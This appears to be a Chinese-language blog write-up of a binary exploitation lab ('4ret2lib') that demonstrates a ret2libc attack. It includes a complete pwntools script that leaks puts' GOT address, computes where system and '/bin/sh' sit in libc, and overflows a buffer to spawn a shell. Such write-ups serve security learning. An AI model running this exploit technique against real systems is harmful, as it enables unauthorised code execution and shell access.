lab 4

check一下,發(fā)現(xiàn)開了NX


image.png

拖進(jìn)ida,沒有system和binsh


image.png

image.png

可以看到第一個(gè)輸入,是輸入一個(gè)10進(jìn)制的地址,然后返回這個(gè)地址的內(nèi)容給你,這就很容易想到,利用這個(gè)功能去把puts函數(shù)的真實(shí)地址打印出來,將把got表中的內(nèi)容輸出,有了puts函數(shù)的真實(shí)地址,然后在求出libc中各個(gè)函數(shù)的地址,算一下偏移量,就很容易得到system函數(shù)的真實(shí)地址,然后求出“/bin/sh”的地址,這樣我們就可以拿到shell了
image.png
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
p = process('./4ret2lib')
elf = ELF('./4ret2lib')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
puts_got = elf.got['puts']
print str(puts_got) 
image.png

腳本:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
p = process('./4ret2lib')
elf = ELF('./4ret2lib')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
puts_got = elf.got['puts']
print str(puts_got)  
p.sendline(str(puts_got))
p.recvuntil(": ")
puts_addr = int(p.recv(10),16)
puts_libc = libc.symbols['puts']
system_libc = libc.symbols['system']
binsh_libc = libc.search('/bin/sh').next() 
offset = puts_addr - puts_libc  
system_addr = offset + system_libc
binsh_addr = offset + binsh_libc
payload = "A" * 60
payload += p32(system_addr) + 'b'*4 + p32(binsh_addr)
p.sendline(payload)
p.interactive()
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容